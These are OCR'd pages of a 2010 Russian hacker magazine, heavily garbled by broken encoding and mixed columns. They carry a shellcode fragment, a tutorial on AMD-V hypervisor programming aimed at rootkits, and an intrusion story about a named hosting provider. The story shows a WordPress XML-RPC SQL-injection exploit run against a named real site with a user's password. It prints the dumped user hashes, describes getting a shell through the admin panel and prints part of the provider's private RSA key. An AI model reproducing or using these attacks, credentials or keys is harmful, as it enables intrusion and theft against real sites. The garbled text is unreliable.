Сделать это просто: один раз ввести в окне ìåòðà È ÍÀÏÎÑËÅÄÎÊ...
кода OllyDbg текстовую строку параметра, 019FFEF3 PUSH EAX Если ты хочешь стать хорошим спе-
после чего высчитать разность между зна- ; êëàäåì â ñòåê çàãîëîâîê îêíà циалистом в области исследования
чением регистра ESP и ее положением. В 019FFEF4 PUSH EAX уязвимостей программного обеспе-
моем случае значение разности оказалось ; êëàäåì â ñòåê òåëî îêíà чения, не используй готовые экс-
равным 0x27. Таким образом, чтобы полу- 019FFEF5 PUSH 0 плоиты! Ищи информацию на лентах
чить доступ к параметру, обратись по адре- ; íèêàêîãî âëàäåëüöà ó îêíà íå уязвимостей, используй свои знания
су ESP+27. Как видишь, все просто. áóäåò — ïîìåùàåì â ñòåê NULL и вспомогательные инструменты для
Да, необходимо помнить и о том, что мы создания собственных вариантов кода.
должны возвратиться обратно в стек, ; ñ÷èòàåì çíà÷åíèå àäðåñà âîç- Это поможет тебе научиться и обхо-
чтобы завершить программу корректно. âðàòà èç MessageBoxA: дить системы защиты, и создавать их.
Для этого нужно еще до выполнения Успешных взломов, но не забывай о
вызова MessageBoxA поместить в стек 019FFEF7 MOV EAX,ESP законе! z

XÀÊÅÐ 01 /133/ 10 055


ВЗЛОМ ÎÑ 01 ÎÑ 02 ÎÑ 03 ÎÑ 01 ÎÑ 02 ÎÑ 03
R0064 R0064@MAIL.RU ÎÑ 04 ÎÑ 05 ÎÑ 04 ÎÑ 05
ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05

ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05

ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05
ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05
ÎÑ 04 ÎÑ 05 ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05
ÎÑ 01 ÎÑ 02
ÎÑ 04 ÎÑ 05

ÑÂÎÉ
ÃÈÏÅÐÂÈÇÎÐ
ÁËÈÆÅ Ê ÒÅËÓ!
ÂÈÐÒÓÀËÈÇÀÖÈß ÍÀ ÏÐÀÊÒÈÊÅ
ÀÏÏÀÐÀÒÍÀß

ÒÛ, ÊÎÍÅ×ÍÎ, ÍÅ ÐÀÇ ÑËÛØÀË ÏÐÎ ÒÀÊÓÞ ØÒÓÊÓ, ÊÀÊ ÀÏÏÀÐÀÒÍÀß


ÂÈÐÒÓÀËÈÇÀÖÈß — ÒÅÕÍÎËÎÃÈÞ, ÏÎÇÂÎËßÞÙÓÞ ÇÀÏÓÑÊÀÒÜ
ÍÅÑÊÎËÜÊÎ ÃÎÑÒÅÂÛÕ ÎÑ ÍÀ ÎÄÍÎÉ ÌÀØÈÍÅ (ÒÀÊ ÍÀÇÛÂÀÅÌÎÌ ÕÎÑÒÅ).
ÈÑÒÎÐÈ×ÅÑÊÈ ÏÅÐÂÎÉ ÁÛËÀ ÏÐÎÃÐÀÌÌÍÀß ÂÈÐÒÓÀËÈÇÀÖÈß, ÇÀÒÅÌ
ÐÀÇÐÀÁÎÒ×ÈÊÈ ÏÐÎÖÅÑÑÎÐΠÏÐÈÇÀÄÓÌÀËÈÑÜ, ×ÒÎ ÍÅÏËÎÕÎ ÁÛËÎ ÁÛ
ÎÁÅÑÏÅ×ÈÒÜ ÀÏÏÀÐÀÒÍÓÞ ÏÎÄÄÅÐÆÊÓ ÝÒÎÃÎ ÄÅËÀ. ÈÒÀÊ, Ñ 2006-ÃÎ ÃÎÄÀ
 ÍÀØÅÌ ÐÀÑÏÎÐßÆÅÍÈÈ ÎÊÀÇÀËÈÑÜ ÏÐÎÖÅÑÑÎÐÛ INTEL È AMD
Ñ ÂÎÇÌÎÆÍÎÑÒßÌÈ ÂÈÐÒÓÀËÈÇÀÖÈÈ. È ÏÎØËÎ-ÏÎÅÕÀËÎ...

Í
адо сказать, что обзоров и статей, создает экспериментальные руткиты на базе свеч! В конце концов, мы получает возмож-
касающихся темы виртуализации, виртуализации, кто-то активно разрабатывает ность тотального контроля над системой.
выходило за эти годы немало. На- анти-руткиты. Так, Hypersight Rootkit Detector Заинтересовало? Тогда вперед, осваивать
пример, рекомендую к прочтению от North Security Labs — считай, готовый такую непростую штуку как программирова-
статью «Технологии аппаратной анти-руткит для Windows. Для Linux тоже ние гипервизоров.
виртуализации», представляющую собой до- существует подобный проект — HookSafe, Прежде чем зарываться в документацию,
вольно основательный обзор сабжа: который был представлен на конференции нужно обрисовать задачу более подроб-
ixbt.com/cm/virtualization-h.shtml. ACM по компьютерной и сетевой безопасно- но. Вообще, аппаратная виртуализация
Однако, ни одной статьи, выходящей за сти (CCS 2009). в процессорах Intel (именуемая Intel VT)
рамки аналитики, я так и не встретил. Пора Такой интерес к виртуализации далеко не отличается от аналогичной у AMD (AMD-V).
закрыть этот пробел и сконцентрироваться, случаен — ведь для хакера это уникальная Отличается — значит, код гипервизора (aka
наконец, на деталях реализации гиперви- возможность скрытия своего присутствия VMM — Virtual Machine Monitor) для AMD не
зора. Между тем, уже, наверное, каждому в системе (наряду с более сложными, но будет работать на платформе Intel. Поэтому
известно про «Голубую пилюлю» (Blue Pill) и не менее красивыми атаками на SMM и мы начнем с AMD и продолжим о Intel в
Рутковской, в которой возможности виртуа- AMT). Конечно, чтобы сделать руткит (даже последующих статьях. Чтобы ты мог уточнить
лизации успешно применяются, причем не на базе виртуализации) на 100% недетекти- для себя какие-то вещи, тебе потребуется
в самых легитимных целях :). Пока кто-то руемым, придется напрячься, но игра стоит дока от амд (смотри врезку), также можно

056 XÀÊÅÐ 01 /133/ 10


ÎÑ 01 ÎÑ 02 ÎÑ 03 ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 01 ÎÑ 02 ÎÑ 03 ÎÑ 04 ÎÑ 05 ÎÑ 01 ÎÑ 02 ÎÑ 03 ÎÑ 04 ÎÑ 05 ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05 ÎÑ 04 ÎÑ 05 ÎÑ 04 ÎÑ 05
ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05

HTTP://WWW
1 ÎÑ 02 ÎÑ 03
4 ÎÑ 05
links
• AMD64 Architecture
Programmer's
Manual Volume 2:
System Programming:
amd.com/us-en/
MSR-РЕГИСТР EFER. У НЕГО ПОЛНО РАЗ- assets/content_type/
ЛИЧНЫХ ФУНКЦИЙ ПОМИМО ВКЛЮЧЕНИЯ white_papers_and_
АППАРАТНОЙ ВИРТУАЛИЗАЦИИ tech_docs/24593.pdf.
Теме виртуализа-
ции в этом мануале
как и, в общем-то, весь код нашего гипервизора, будет посвящена глава
находиться в драйвере и работать в ring-0. В процессе 15, Secure Virtual
освоения кодинга гипервизора от тебя потребуется пред- Machine.
СХЕМА РАБОТЫ ВИРТУАЛИЗАЦИИ AMD-V ставление о программировании драйверов под Windows, • Hypersight Rootkit
знание с/с++ и 64-битного ассемблера на базовом уровне. Detector (для
Хотя я все равно постараюсь объяснить все максимально Windows) — анти-
почитать краткий обзор AMD-V от производителя (amd64. подробно. руткит на основе
ru/index.php?link=2&addr=6&page=8). аппаратной виртуа-
ÈÍÑÒÐÓÊÖÈÈ ÓÏÐÀÂËÅÍÈß ÂÈÐÒÓÀËÜÍÛÌÈ лизации. Фраза на
ÒÅÎÐÅÒÈ×ÅÑÊÈÅ ÎÑÍÎÂÛ Перед тем, как приступать к ÌÀØÈÍÀÌÈ По своей сути аппаратная виртуализация — главной странице
написанию кода, необходимо получить минимальную тео- это расширение архитектуры ЦП: набор инструкций + «Blue Pill перестал
ретическую базу. Для начала определимся с терминами и новый режим работы процессора. До того, как говорить быть невидимым» —
аббревиатурами, которые будут использоваться далее по о наборе команд, нужно разобраться с такой штукой, как заставляет позна-
тексту. VMCB. VMCB (Virtual Machine Control Block) — управляю- комиться с сабжем
Гостевой режим — по аналогии с защищенным, реаль- щий блок виртуальной машины. Это основная структура поближе:
ным — режим работы процессора, в котором выполняется данных, с которой нам предстоит работать. VMCB описы- northsecuritylabs.
гостевая система. вает виртуальную машину, которую мы будем запускать. com/ru.
Гость — виртуальная ОС, работающая в гостевом режиме Сразу о технических деталях: VMCB занимает одну стра- • Проект Blue Pill
под управлением гипервизора ницу (4 килобайта) в непрерывной физической памяти. Джоанны Рутковской
VMM (монитор виртуальных машин, гипервизор) — про- VMCB состоит из 2-х частей — область флагов (control — руткит, использую-
граммное обеспечение, перехватывающее события в area) и область состояния (state-save area). Рассмотрим щий аппаратную вир-
госте. Гипервизор представляет собой рычаг управления структуру VMCB подробнее. VMM, как уже упоминалось, туализацию (опен-
гостевыми системами. перехватывает события, происходящие в госте. Какие сорс): bluepillproject.
Хост (по отношению к гостю) — система, на которой запу- это будут события — определяется в области флагов. Мы org.
щен гипервизор. можем перехватывать: • В качестве допол-
#VMEXIT — переход из режима гостя в режим хоста. 1.Чтение/запись контрольных регистров (cr0-cr15). нительной литерату-
Первые 16 бит структуры VMCB как раз и отводятся на ры можно почитать
ÏÎÄÐÎÁÍÎÑÒÈ Ты — обладатель процессора AMD. Как установку перехвата операции чтения для каждого из также ман AMD,
узнать, есть ли в нем поддержка аппаратной виртуализации? контрольных регистров. Каждый бит отвечает за свой целиком и полностью
О том, что мы имеем соответствующий функционал, рапорту- контрольный регистр. Вторые 16 бит VMCB отвечают за посвященный CPUID.
ет функция 80000001h инструкции CPUID (второй бит от нуля операцию записи в контрольные регистры. CPUID Specification:
в регистре ecx, именуемый SVM, должен быть установлен). 2. Чтение/запись отладочных регистров (dr0-15). amd.com/us-en/
Функция, возвращающая 0 или 1,если возможности виртуа- 3. Инструкции rdmsr/wrmsr для выбранных msr- assets/content_type/
лизации недоступны или доступны, соответственно: регистров. Чтобы определить, какие msr подлежат конт- white_papers_and_
ролю, используется так называемая MSR Permission Map tech_docs/25481.pdf.
IsSVMAvailableProc proc (в переводе — карта разрешения msr, сокращенно — • Проект Xen:
xor rax,rax MSRPM). На каждый msr в ней отводится по 2 бита — для xen.org/products/
mov eax,80000001h контроля операции чтения и записи. Физический адрес projects.html.
cpuid начала MSRPM хранится в VMCB. • HookSafe — не так
xor rax,rax Когда будет произведена запись/чтение в контролируемый давно появивший-
bt ecx,2 ; ïðîâåðÿåì áèò SVM msr — произойдет #VMEXIT, а подробная информация о ся анти-руткит на
jnc if_zero ; ïðûãàåì, åñëè áèò ðàâåí 0 событии запишется в поле exitinfo1 VMCB (оно будет равно основе гипервизора
inc rax 0 — если выход спровоцировала rdmsr, и 1, если wrmsr). (для Linux). Иссле-
if_zero: 4. Инструкции работы с портами. Как и в случае с msr- дователи работают
ret регистрами, за контроль доступа к портам отвечает над версией для
IsSVMAvailableProc endp карта разрешения ввода-вывода (IOPM, I/O Permission Windows:
Map). Там, конечно, все чуток сложнее, чем с msr. После http://discovery.csc.
Убедившись, что в нашем распоряжении подходящий #VMEXIT информация об исключении запишется в поле ncsu.edu/pubs/ccs09-
процессор, можно приступать к дальнейшему описанию. exitinfo1, где будет содержаться информация об инструк- HookSafe.pdf.
Забегая вперед, скажу, что включение виртуализации, ции, которая вызвала исключение.

XÀÊÅÐ 01 /133/ 10 057


ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 01 ÎÑ 02 ÎÑ 03 ÎÑ 04 ÎÑ 05

ВЗЛОМ
ÎÑ 01 ÎÑ 02 ÎÑ 03 ÎÑ 01 ÎÑ 02 ÎÑ 03 ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05
ÎÑ 04 ÎÑ 05
ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05 ÎÑ 04 ÎÑ 05
ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05 ÎÑ 01 ÎÑ 02 ÎÑ 03 ÎÑ 04 ÎÑ 05

ÎÑ 04 ÎÑ 05

u64 exitinfo1; /* offset 0x78


*/
u64 exitinfo2; /* offset 0x80
*/
… ÎÑ 01 ÎÑ 02
HYPERSIGHT ROOTKIT DETECTOR eventinj_t eventinj; /* offset ÎÑ 04 ÎÑ 05

В ДЕЙСТВИИ 0xA8 */
// èñïîëüçóåòñÿ äëÿ âëîæåííîãî
ФОРМАТ ПОЛЯ EXITINFO1 В VMCB ñòðàíè÷íîãî ïðåîáðàçîâàíèÿ (nested
ДЛЯ ПЕРЕХВАЧЕННЫХ ИНСТРУК- dr0-15 paging) — îá ýòîì ðàññêàæó â äðó-
ЦИЙ ВВОДА-ВЫВОДА u32 dr_intercepts; /* offset ãîé ðàç
0x04 */ u64 h_cr3; /* offset 0xB0 */
5. Инструкции чтения/записи регистров // ïîëå óñòàíîâêè ïåðåõâàòû- lbrctrl_t lbr_control; /*
ldtr,gdtr, tr,idtr. âàåìûõ èñêëþ÷åíèé (âåêòîðû 0-31 â offset 0xB8 */
6. Исключения (0-31 векторы в IDT). IDT) // îñòàâøååñÿ ìåñòî — 832 áàéòà
7. Инструкции, отвечающие за u32 exception_intercepts; /* — çàïîëíÿåòñÿ íóëÿìè — îíî çàðå-
аппаратную виртуализацию offset 0x08 */ çåðâèðîâàíî äëÿ äàëüíåéøåãî //ðàñ-
(VMRUN,VMSAVE,VMLOAD…). То есть, можно // INTR, NMI, SMI....IDTR (çàïèñü/ øèðåíèÿ
контролировать запуск других гиперви- ÷òåíèå), GDTR (çàïèñü/÷òåíèå), u64 res09[104]; /* offset 0xC0
зоров (они будут вложенными). Кстати, LDTR(çàïèñü/÷òåíèå) pad to save area */
с помощью перехвата этих инструкций // TR(çàïèñü/÷òåíèå), èíñòðóêöèè
Hypersight Rootkit Detector и обнаруживает RDTSC, RDPMC, PUSHF, POPF … …
«Голубую пилюлю». u32 general1_intercepts; /*
8. Сигналы SMI, NMI, INIT … offset 0x0C */ Все неиспользуемое пространство обя-
9. Еще много различных инструкций, таких u32 general2_intercepts; /* зательно должно быть заполнено нулями.
как cpuid, iret, rsm и т.п. offset 0x10 */ Вторая часть VMCB содержит состояние
Все вышеперечисленные события — это … регистров гостя. Из этой области во время
условия #VMEXIT — возвращения из госте- … выполнения инструкции VMRUN (о ней
вого режима в режим хоста. Каждая причина // ôèçè÷åñêèé àäðåñ êàðòû ðàçðåøå- скажу позже) загружается информация о
#VMEXIT имеет свой код, который записыва- íèÿ ââîäà-âûâîäà состоянии гостя, а при выходе из гостево-
ется в поле exitcode области флагов VMCB. u64 iopm_base_pa; /* го режима она (информация о состоянии)
Вот некоторые из этих кодов: offset 0x40 */ сохраняется там же.
// ôèçè÷åñêèé àäðåñ êàðòû ðàçðå-
62h — ôèçè÷åñêîå SMI øåíèÿ msr // íà÷àëî îáëàñòè ñîñòîÿíèÿ
6Eh — ïðîèçîøëà èíñòðóêöèÿ RDTSC u64 msrpm_base_pa; /* svm_segment_register_t es; /*
70h — êîìàíäà PUSHF offset 0x48 */ offset 1024 */
71h — POPF // ýòî ïîëå íóæíî äëÿ êîìàíäû svm_segment_register_t cs;
72h — CPUID rdtsc svm_segment_register_t ss;
7F — ãîñòü âûêëþ÷èëñÿ (Shutdown) u64 tsc_offset; /* offset svm_segment_register_t ds;
80h — VMRUN 0x50 */ svm_segment_register_t fs;
81h — VMMCALL // èäåíòèôèêàòîð àäðåñíîãî ïðî- svm_segment_register_t gs;
82h — VMLOAD ñòðàíñòâà ãîñòÿ, ñâÿçàíî ñî ñáðî- svm_segment_register_t gdtr;
83h — VMSAVE ñîì TLB, ïîêà ýòî íå íóæíî svm_segment_register_t ldtr;
88h — ICEBP (èíñòðóêöèÿ ñ îïêîäîì u32 guest_asid; /* offset 0x58 svm_segment_register_t idtr;
0xF1) */ svm_segment_register_t tr;
-1 — íåâåðíàÿ VMCB u8 tlb_control; /* offset 0x5C …
*/ …
Полную таблицу #VMEXIT-тов можно посмот- u8 res07[3]; u64 efer; /* offset
реть в Appendix C. SVM Intercept Exit Codes в vintr_t vintr; /* offset 0x60 1024 + 0xD0 */
уже упоминаемом мной AMD64 Architecture */ u64 res13[14];
Programmer's Manual Volume 2. u64 interrupt_shadow; /* offset u64 cr4; /* loffset
Часть дефиниции cтруктуры VMCB (из сорцов 0x68 */ 1024 + 0x148 */
Xen): // ïîñëå #VMEXIT çäåñü îêàæåòñÿ u64 cr3;
êîä ïðè÷èíû âûõîäà u64 cr0;
struct vmcb_struct u64 exitcode; /* offset 0x70 */ u64 dr7;
{
// îáëàñòü ôëàãîâ
// ïåðâîå ñëîâî — ïåðåõâàò ÷òåíèÿ СТРУКТУРА КАРТЫ РАЗРЕШЕНИЯ MSR (MSRPM). КАЖДЫЕ 2 БИТА ОТ-
cr0-15 ВЕЧАЮТ ЗА ОТДЕЛЬНЫЙ MSR
// âòîðîå ñëîâî — ïåðåõâàò çàïèñè
cr0-15
u32 cr_intercepts; /* offset
0x00 */
// ïåðâîå ñëîâî — ïåðåõâàò ÷òåíèÿ
dr0-15
// âòîðîå ñëîâî — ïåðåõâàò çàïèñè

058 XÀÊÅÐ 01 /133/ 10


ÎÑ 01 ÎÑ 02 ÎÑ 03 ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 01 ÎÑ 02 ÎÑ 03 ÎÑ 04 ÎÑ 05 ÎÑ 01 ÎÑ 02 ÎÑ 03 ÎÑ 04 ÎÑ 05 ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05 ÎÑ 04 ÎÑ 05 ÎÑ 04 ÎÑ 05
ÎÑ 01 ÎÑ 02 ÎÑ 03
ÎÑ 04 ÎÑ 05

1 ÎÑ 02 ÎÑ 03
4 ÎÑ 05

MSR-РЕГИСТР VM_CR, ПОЗВОЛЯЮЩИЙ ЗАБЛОКИРОВАТЬ УСТАНОВКУ БИТА SVME В EFER

u64 dr6; хоста после выхода из гостя (регистры cs,rip,


u64 rflags; efer, cr0, cr3 …). Теперь, когда виртуальная
u64 rip; машина успешно запущена, мы вернемся
u64 res14[11]; в режим хоста только при возникновении
u64 rsp; перехваченного гипервизором события
u64 res15[3]; (условия #VMEXIT). После #VMEXIT будет
u64 rax; выполнена следующая за VMRUN инструк-
u64 star; ция в гипервизоре. Специально для тебя я
u64 lstar; сделал обобщающую схему вышеописанного
u64 cstar; (смотри картинку «Схема работы виртуализа-
u64 sfmask; ции AMD-V»).
u64 kerngsbase; Две инструкции VMSAVE (0Fh, 01h, 0DBh) и
u64 sysenter_cs; VMLOAD (0Fh, 01h, 0DAh) дополняют VMRUN
u64 sysenter_esp; и служат для сохранения/загрузки части
u64 sysenter_eip; VMCB.
u64 cr2; VMMCALL (0Fh, 01h, 0D9h) — инструкция,
… позволяющая из гостевого режима перейти
… в хост. Доступна как на нулевом, так и на
// ðåãèñòðû, ñâÿçàííûå ñ òðàññè- третьем кольце. Правда, я лично не пони-
ðîâêîé âåòâëåíèé маю смысла в этой инструкции. Если она не
u64 debugctlmsr; перехватывается, то возникает #UD. То есть,
u64 lastbranchfromip; безусловного вызова гипервизора не проис-
u64 lastbranchtoip; ходит. Можно было бы, наверное, не вводить
u64 lastintfromip; дополнительную инструкцию, использовать
u64 lastinttoip; ту же CPUID (или другую, которую можно
u64 res16[301]; // äàëåå ïðîñòî перехватить).
2408 íóëåâûõ áàéò
} ÂÊËÞ×ÅÍÈÅ ÂÎÇÌÎÆÍÎÑÒÅÉ ÀÏÏÀ-
ÐÀÒÍÎÉ ÂÈÐÒÓÀËÈÇÀÖÈÈ Все инструк- СТРУКТУРА VMCB
С VMCB кое-как разобрались. Теперь можно ции работы с аппаратной виртуализацией (за
переходить к описанию инструкций. исключением SKINIT, там особый случай) тре-
VMRUN (опкод команды — 0Fh, 01h, 0D8h) — буют установки бита SVME (он 12-й) в регистре KEY (опционально). Бит SVMDIS, который
инструкция запуска виртуальной машины. EFER (иначе мы получим исключение #UD четвертый в VM_CR, запрещает установ-
Это основная и самая важная команда в — неверная инструкция). Что это за регистр — ку EFER.SVME, а LOCK (бит три) в том
аппаратной виртуализации. VMRUN при- EFER? Расшифровывается аббревиатура как же регистре запрещает сброс SVMDIS и
нимает в качестве аргумента в регистре rax Extended Feature Enable Register — LOCK (получается, что LOCK — это защи-
физический адрес управляющего блока вир- это msr, который отвечает за включение та для защиты). LOCK можно сбросить
туальной машины (VMCB), который описывает дополнительных возможностей проца (что либо после перезагрузки, либо указать
состояние виртуальной машины. VMRUN видно из расшифровки), и он имеет адрес ключ в машинно-зависимом регистре
доступна только с нулевого кольца (вообще, 0C0000080h. Приведенный ниже код включа- SVM_KEY (если этот ключ был установлен
с третьего кольца из инструкций, составляю- ет возможности аппаратной виртуализации: перед блокированием виртуализации).
щих сабжевое расширение архитектуры про- Сама возможность блокировки, к слову,
цессора, доступна только VMMCALL). sub rcx,rcx появилась в AMD-V не сразу, а только со
Гипервизор настраивает структуру VMCB, mov ecx, 0C0000080h ; àäðåñ EFER второй ревизии (специально для пара-
устанавливает в ней перехватываемые rdmsr ; ÷èòàåì EFER ноиков:)).
инструкции, прерывания и т.д. Переход bts eax,12
в режим гостя происходит посредством wrmsr ÇÀÊËÞ×ÅÍÈÅ Первый теоретический
инструкции VMRUN. Состояние хоста рубеж преодолен. Изложение получилось
сохраняется в области памяти, на кото- Кстати, установка бита SVME может быть несколько сумбурным, но, я думаю, это тебе
рую указывает содержимое msr регистра заблокирована, поэтому после того, как мы не помешало уловить суть. Осталось реа-
VM_HSAVE_PA (PA — Physical Address, то есть записали msr, нужно снова прочитать его лизовать полученные знания на практике,
здесь мы опять имеем дело с физическим содержимое и проверить — установился ли что мы и сделаем в последующих статьях.
адресом этого региона). В этой области памя- заветный бит. Если у тебя есть какие-то замечания или
ти сохраняется минимальная информация, За блокировку инструкций виртуализации вопросы — пиши мне на мыло, постараюсь
необходимая для возобновления работы отвечают msr-регистры — VM_CR и SVM_ ответить. z

XÀÊÅÐ 01 /133/ 10 059


ВЗЛОМ
IVENGO, IVENGO@NOSECURE.INFO HTTP://WWW.NOSECURE.INFO

ÂÇËÎÌ
ÂÑÅß ÑÅÒÈ
ËÓ×ØÈÉ ÕÎÑÒÈÍÃ!
OMNIS — ÑÀÌÛÉ

ÊÀÆÄÎÌÓ ÏÐÎÔÅÑÑÈÎÍÀËÓ ÕÎ×ÅÒÑß ÑËÀÂÛ È ÄÅÍÅÃ.  ÕÀÊÅÐÑÊÎÉ ÑÐÅÄÅ


È ÒÎ, È ÄÐÓÃÎÅ Ñ×ÈÒÀÅÒÑß ÍÅÎÒÂÐÀÒÈÌÛÌ ÇËÎÌ: È Ê ÒÎÌÓ, È Ê ÄÐÓÃÎÌÓ
ÍÀÑÒÎßÙÈÉ ÕÀÊÅÐ ÈÑÏÛÒÛÂÀÅÒ ÎÒÂÐÀÙÅÍÈÅ. ÍÎ, ÊÀÊ ÃÎÂÎÐÈÒÑß,
ÁÎÒÍÅÒ ÏÐÈÕÎÄÈÒ È ÓÕÎÄÈÒ, À ÊÓØÀÒÜ ÕÎ×ÅÒÑß ÂÑÅÃÄÀ. ÒÀÊ ×ÒÎ
ÎÄÍÈÌ ÈÇ ÑÏÎÑÎÁΠÏÐÎÂÅÄÅÍÈß ÏËÀÒÍÛÕ ÍÀÓ×ÍÛÕ ÈÑÑËÅÄÎÂÀÍÈÉ
ÍÀ ÑÅÃÎÄÍßØÍÈÉ ÄÅÍÜ ßÂËßÅÒÑß ÎÖÅÍÊÀ ÒÎÃÎ, ÊÀÊ ÏÐÎÑÒÎ ÌÎÆÍÎ
ÏÎËÓ×ÈÒÜ ÄÎÑÒÓÏ Ê ÎÏÐÅÄÅËÅÍÍÎÌÓ ÐÅÑÓÐÑÓ. ÝÒÈÌ ÌÛ ÑÅÃÎÄÍß
È ÇÀÉÌÅÌÑß!
ÏÐÎÂÀÉÄÅÐ ÂÑÅß ÑÅÒÈ Если ты предста- в ладах со своими движками и CMS. Если древней версии 2.2.1 с уязвимостью XML-
вил, что виртуальные купюры WMZ уже шеле- все так, то и искать можно, начиная с самых RPC (burnmanbedlam.com).
стят у тебя в кошельке, и глазки заблестели, то простых вариантов (потому как настоящий Этого динозавра, конечно, можно валить с
пойдем дальше и представим типичную кар- хактивист всегда идет в обход). Выбираем помощью автоматических средств — напри-
тинку — хостинг-провайдера www.omnis.com, несколько вариантов из наиболее доступ- мер, готового POC-примера от группы
у которого, как соты в пчелином улье, хостится ных — WordPress, Joomla, DataLifeEngine, notsosecure.com. Как работает релиз команды
множество вкусных сайтов с хорошим PR (за CowPHP и пр. Теперь пробуем... Нас инте- (нашей тезки), смотри ниже:
которые отдают неплохие деньги). Один такой ресуют не просто сайты, а сайты-соседи,
попался мне совсем недавно, а остановился которые мало того, что хостятся физически #beambox@faruk# ./wp-xmlrpc-2-2-
я на нем совсем случайно — очень уж пове- на одном сервере, так еще и принадлежат sql.pl http://burnmanbedlam.com/
селило его название — Omnis Network (что в нашему священному чуду omnis.com. complita truckmebaby 31
вольном переводе означает «Провайдер Всея Чтобы найти сайты-соседи, можно восполь- The usage is correct
Сети»). Особенность данного божественного зоваться отличным сервисом robtex.com. [*] Trying Host http://
пасквиля в том, что ребята из Omnis помеша- Это настоящий швейцарский ножик для ком- burnmanbedlam.com/ ...
ны на послеполуденных молитвах и безопас- пьютерных сетей. Он мало того, что рисует [+] The xmlrpc-2-2 server seems
ности. Многие очень умные люди обломали картинки зависимостей DNS, так еще и нака- to be working
свои зубки о всевозможные хитрости, приду- пливает эту информацию после собственных --------------------
манные этим хостером. поисковых исследований! У него можно спро- Username for id = 1 is:--> admin
сить как IP-адрес, так и наоборот, доменное Md5 hash for user: admin
ÏÎÌÎËÈÌÑß, ÄÅÒÈ ÌÎÈ! А заодно поду- имя, соседа которому хочется найти.
маем головой — хостят они кого попало, В ходе нескольких проб был установлен is: 1f3c53937f213d5b247d2d032d0d
одних только простых сайтов больше 5000. первый кандидат на исследовательский 2030
Наверняка, найдутся пингвины, которые не «пробив». О чудо! Целью оказался WordPress --------------------

060 XÀÊÅÐ 01 /133/ 10


ПРАВИМ ФАЙЛЫ PHP В АДМИНКЕ
ВЗЛОМАННОГО САЙТА ДЛЯ ПОЛУ-
ЧЕНИЯ ШЕЛЛА (РАБОТАЕМ ПОД
WORDPRESS)
ОПЛАТА КРЕДИТКАМИ У ПРОВАЙДЕРА OMNIS.COM (СТАТИСТИКА ЗА
СУТКИ ПО ОДНОМУ ХОСТИНГ-ПЛАНУ)
Username for id = 2 is:-->
burnman
Md5 hash for user: burnman грамм и CGI-сценариев происходит импер- ÑÀÍÊÒÓÌ-ÑÅÐÒÈÔÈÊÀÒÓÌ Запись «/
is: ffd03373047a3390328e3d63520f сонализация (мы уже писали об этом заме- webroot/?/?/*/*» позволяет веб-серверу свя-
9db6 чательном процессе в статье «Пошаговая зать доменное имя (сайта, которого у него
-------------------- имперсонализация» в z #048). Все это гово- запрашивают) с конкретным путем. Первые
Username for id = 3 is:--> рит о том, что за вопросами безопасности две буквы имени формируют ветку, где соб-
complita здесь стараются следить — ну или хотя бы ственно и хранятся данные сайта. Например,
Md5 hash for user: complita подумали о них, когда строили систему. если наш сайт располагается по адресу
is: 1eb307423c98331ce3623989328d http://www.omnis.com, то файлы сайта нахо-
2c0a omnis# uname -a дятся в каталоге «/webroot/o/m/omnis001/
----------------------- www», где omnis001 — имя пользователя,
Total Number of Users found:-->3 Linux cl27.cust.omnis.com 2.6.18- права которого устанавливаются веб-серверу
----------------------- 128.4.1.el5 #1 SMP Tue Aug 4 при работе с файлами из домашнего катало-
Mysql is running as: burnm001@ 20:23:34 EDT 2009 i686 i686 i386 га. Еще немного вкусного лежит по адресу
mysql.omnis.com GNU/Linux Linux «/clfs/cluster/httpd/», — там мы находим...
сертификат с открытым и закрытым ключами
В качестве параметров сплоиту надо пере- Однако, несмотря на предпринятые меры сервера! Да-да, именно те самые, которые
дать имя зарегистрированного пользователя безопасности, мы уже оказались внутри и у используются бедными пользователями для
(complita), пароль к нему (truckmebaby) и нас есть возможность исполнять системные проверки, правда ли то, что этот их любимый
номер существующего поста, в который этот команды. Раз так, проанализируем конфигу- провайдер или нет.
замечательный пользователь может запи- рацию нашего божественного хостера. Самое
сывать любую информацию. Выбранный интересное для нас будет находиться в кон- [/webroot/d/] cat /clfs/cluster/
burnmanbedlam.com нас не подвел — и реги- фигурационном файле веб-сервера. С этим httpd/secure.omnis.com.key
страция открыта, и посты наполнять можно все просто — провайдер использует Linux -----BEGIN RSA PRIVATE KEY-----
(их даже видно, что вдвойне приятно, хоть и (с версией ядра 2.6.18), а нам известно, что MIICXAIBAAKBgQDcEHbDM3QLmWn3fda7sW
редкость в наше время). На самом деле, вме- у Unix с вигвамом всегда есть общее — нет KveqvNNdzSZgIcP+Afut6mXTNf5Cje
сто того, чтобы тратить драгоценное время на форточек и внутри сидит апач. Следовательно, SeW3JvlNXdijtzqWcSFcPkXtHrXTMUVwDy
поиск и анализ уязвимого узла, всегда суще- ищем конфигурационные файлы веб-сервера CZ4j3ptXlueHx14Gthx5VnHlDzOqdg
ствует вариант приобретения чистого хостинга Apache. Стандартный файл httpd.conf радует DugIr844K36LITT0qZxJjSuVhnmJ2qlhrf
у провайдера — все дальнейшее совершенно нас следующей строчкой: 0ZeYlccNDkSpHB1Bs5hnTXoQIDAQAB
одинаково как для легального пользователя, AoGAFQRRg1T/qTfuod9XybcoOKAblk6ll0
так и для неравнодушного исследователя :). Include /clfs/cluster/httpd/omnis. Z8vxvumLktGHBgPrE4ofomwTYsqxHi
Тем более, в большинстве случаев хостинг- conf ZchTBRkq2XdtEDdVoCTdf9VCBKLxzGqyZw
